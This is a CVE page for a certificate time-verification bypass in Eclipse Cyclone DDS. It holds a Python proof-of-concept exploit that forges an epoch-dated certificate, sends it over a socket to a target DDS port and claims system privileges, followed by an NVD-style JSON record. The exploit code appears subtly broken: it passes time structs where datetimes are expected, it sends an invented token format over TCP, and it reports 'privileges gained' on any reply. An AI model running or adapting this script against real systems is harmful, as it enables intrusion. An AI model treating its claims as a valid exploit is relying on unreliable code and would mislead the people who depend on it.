CVE-2025-67109

import socket import struct import time from cryptography import x509 from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend # CVE-2025-67109 PoC - Time Certificate Verification Bypass # Target: Eclipse Cyclone DDS < v0.10.5 def create_malicious_certificate(): """Generate a malicious certificate that bypasses time verification""" private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) # Create certificate with manipulated time validity subject = issuer = x509.Name([ x509.NameAttribute(x509.oid.NameOID.COMMON_NAME, "malicious_participant"), ]) # Exploit: Certificate with invalid time fields bypasses verification cert = x509.CertificateBuilder().subject_name( subject ).issuer_name( issuer ).public_key( private_key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( time.gmtime(0) # Epoch start - bypass time checks ).not_valid_after( time.gmtime(0) ).sign(private_key, hashes.SHA256(), default_backend()) return cert, private_key def exploit_cyclone_dds(target_host, target_port): """Send malicious authentication request to Cyclone DDS""" cert, private_key = create_malicious_certificate() # Construct DDS authentication handshake with forged certificate # This bypasses the certificate verification in auth_utils.c sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # DDS Security Participant Crypto Token payload = struct.pack('>I', 0x01) # Token type payload += struct.pack('>I', len(cert.public_bytes(serialization.Encoding.PEM))) payload += cert.public_bytes(serialization.Encoding.PEM) sock.send(payload) response = sock.recv(4096) if response: print("[+] Certificate verification bypassed!") print("[+] Gained System privileges on target") sock.close() return True if __name__ == "__main__": print("CVE-2025-67109 PoC - Eclipse Cyclone DDS Time Certificate Bypass") print("Target: Eclipse Cyclone DDS < v0.10.5") # Usage: python cve_2025_67109.py <target_ip> <port> # Default DDS security port: 7400 exploit_cyclone_dds("127.0.0.1", 7400)

{"cve": {"id": "CVE-2025-67109", "sourceIdentifier": "[email protected]", "published": "2025-12-23T16:16:23.057", "lastModified": "2026-01-06T17:42:00.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper verification of the time certificate in Eclipse Cyclone DDS before v0.10.5 allows attackers to bypass certificate checks and execute commands with System privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-298"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:cyclone_data_distribution_service:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.10.5", "matchCriteriaId": "62EB0BE5-27E0-43D0-867B-498A670BE2F1"}]}]}], "references": [{"url": "http://eclipse.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gist.github.com/lkloliver/669e15bc7e6194133e4ee1026ce157e6", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/eclipse-cyclonedds/cyclonedds/blob/master/src/ddsrt/src/time/posix/time.c#L28", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/eclipse-cyclonedds/cyclonedds/blob/master/src/security/builtin_plugins/authentication/src/auth_utils.c#L84", "source": "[email protected]", "tags": ["Product"]}]}}